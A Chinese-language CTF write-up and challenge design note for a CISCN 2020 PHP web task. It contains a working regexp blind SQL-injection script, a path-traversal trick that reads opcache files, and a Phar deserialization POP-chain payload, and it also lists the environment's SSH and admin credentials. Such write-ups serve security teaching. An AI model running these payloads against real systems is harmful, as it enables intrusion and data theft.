# ciscn2020_build
**Repository Path**: goodcheerleung/ciscn2020_build
## Basic Information
- **Project Name**: ciscn2020_build
- **Description**: No description available
- **Primary Language**: PHP
- **License**: Not specified
- **Default Branch**: master
- **Homepage**: None
- **GVP Project**: No
## Statistics
- **Stars**: 0
- **Forks**: 0
- **Created**: 2021-06-03
- **Last Updated**: 2021-06-03
## Categories & Tags
**Categories**: Uncategorized
**Tags**: None
## README
# 前言
- 国赛华南Break+Fix环节当时排名第11,当时感觉没有机会进决赛了,结果Build环节拿了14分,小惊喜进入决赛。这道题算是中等题目吧。
# 赛题设计说明
### 题目信息:
* 题目名称:上传个头像吧
* 预估难度:中等
### 题目描述:
上传个头像吧
### 题目考点(至少2点)
- Regexp 注入
- 不存在协议头的SSRF
- opcache缓存的WEBshell
- Phar反序列化
### 思路简述
- Regexp注入过滤了单引号,在username参数处使用反斜杠(`\`)在password处使用`#`将单引号注释,这样我们就可以控制password参数从单引号中逃逸出来,由于过滤了union 等关键之导致无法联合查询,但是这里只需查找出password进行登陆即可。
- 登陆后F12看源码会发现存在提示,下载源码发现`code/header.php`下存在一个类,但是没有反序列化的地方,但是存在`is_file`这个`I/O`函数其参数完全可控,同时存在上传的地方,考虑phar反序列化。
- 但是flag在`flag.php`中,这个类中存在一个ssrf漏洞(file_get_contents函数),但是对协议头限制了为http开头这里存一个问题如果file_get_contents遇到不认识的协议头会将协议头当做文件夹,造成目录穿越,所以只需用`httpssssss://`即可绕过
- 然后在读取内容时候会对内容进行检测如果存在`运维人员注意-重要:flag必须在flag.php中,已经在run.sh中将flag.txt内容复制到flag.php中**
- 环境搭设:
```
docker-compose up -d --build
```
- SSH密码:
```
账号:ciscn
密码:gzmtu101hsl123*
```
# Write Up
入口处是一个登录框,随意测试会发现sql语句,得知为sql注入。
测试会发现输入存在关键字都会被替换为admin,fuzz发现存在着regexp可以使用,引号单引号被过滤使用十六进制绕过。
注入失败有回显:Maybe we are not suitable
编写脚本:
```python
import os
import requests as req
def ord2hex(string):
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x','')
return '0x'+result
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789']
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Connection':'keep-alive',
}
res = ''
for i in range(50):
for j in string:
url = "http://xxxxxx/"
data = {
'username':'\\',
'password':'or/**/password/**/regexp/**/binary/**/%s#'%(ord2hex('^'+res+chr(j)))
}
r = req.post(url, data=data,headers=headers)
# print(r.text)
if 'Maybe we are not suitable' not in r.text:
res += chr(j)
print(res)
break
```
得到账号密码为:
```
admin/hlqxl5203146iomngj
```
登录得到hint:
```
hint:SV9sb3ZlX3lvdV9odWFuZ2xpcXVhbgo.zip
```
下载得到源码。
header.php:
```php
file)){
die("no hack");
}
$this->opthion();
}
function opthion(){
$this->o->GetFlag($this->file);
}
}
class Huangliquan{
function GetFlag($file){
$content=file_get_contents($file);
if (!preg_match("/<\?php/i", $content)){
echo $content;
}else{
die("not you are hacker");
}
}
}
$flag = is_file($_GET['path']);
if($flag){
echo "header-images:".$_GET['path'];
echo "
";
}
?>
```
这里存在着两个类,可以构造出来pop链,结合`is_file`可以知道phar反序列化。
链很简单,这里有两个trick,第一个为:
`file_get_contents`在遇到不存在的协议头会将协议头当做文件夹造成目录穿越,这里限制了为http开头,我们取file为`httpasd`即可绕过。
第二个较难,给了hint.php,为phpinfo界面,这里因为需要文件内容不存在php标签头,并且提示flag.php,我们观察phpinfo会发现使用了opcache,并且其路径处于basedir内:` /var/www/cache/`
使用下面这个工具能够计算出systemid
https://github.com/GoSecure/php7-opcache-override
***这里十分重要的一点是要先访问一下flag.php才能在cache目录生成缓存flag.php.bin***
可以获取到systemid,构造payload:
````php
file = "httpasd://../../../../../../../var/www/cache/c5113ab3ab1ea7070b4880d7550c8221/var/www/html/flag.php.bin";
$user->o = $huang;
// 生成phar 文件的格式
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata($user); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
````
访问之得到flag:
```
/code/header.php?path=phar://../upload/phar.jpg
```